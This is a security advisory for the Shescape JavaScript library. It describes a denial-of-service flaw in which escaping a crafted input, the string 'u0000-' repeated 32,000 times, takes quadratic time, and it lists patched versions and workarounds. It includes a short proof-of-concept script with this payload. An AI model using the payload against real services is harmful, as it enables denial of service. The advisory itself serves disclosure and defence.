PT-2026-67605

Published

2026-07-24

·

Updated

2026-07-24

Description by

CVSS 4.0
8.7
High
MetricsAV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Impact

This impacts users of Shescape that have flag protection enabled, which is on by default, regardless of the API being used.
An attacker can cause a runtime quadratic in the input size, causing denial of service for large inputs.
javascript
import { Shescape } from "shescape";

// 1. Prerequisites
const options = {
  //flagProtection unspecified
  // Or
  flagProtection: true,
};

// 2. Payload
let payload = "u0000-".repeat(32000);

// 3. Usage
const shescape = new Shescape(options);
let callback;

callback = () => shescape.escape(payload);
// Or
callback = () => shescape.escapeAll([payload]);
// Or
callback = () => shescape.quote(payload);
// Or
callback = () => shescape.quoteAll([payload]);

const t0 = process.hrtime.bigint();
callback();
const ms = Number(process.hrtime.bigint() - t0) / 1e6;

// 4. Impact
console.log("Duration:", ms);
// Outputs "Duration:" followed by a number close to 20000

Patches

This bug has been patched in [v2.1.14] and [v3.0.1] which you can upgrade to now.
If you are already using v3 of Shescape, no further changes are required. If you are using v2 of Shescape it is recommended to upgrade as this version reaches end-of-life status on 2026-09-28, follow the [migration guide] to upgrade to v3.
No patches will be released for version of Shescape lower than v2.0.0.

Workarounds

Alternatively, users of Shescape can 1) put restrictions on the length of untrusted input or 2) strip all content before the last - from untrusted inputs.

For more information

Exploitability
Fix
Impacts
Vendors
Affected products
Related identifiers
GHSA-GM3R-Q2WP-HW87
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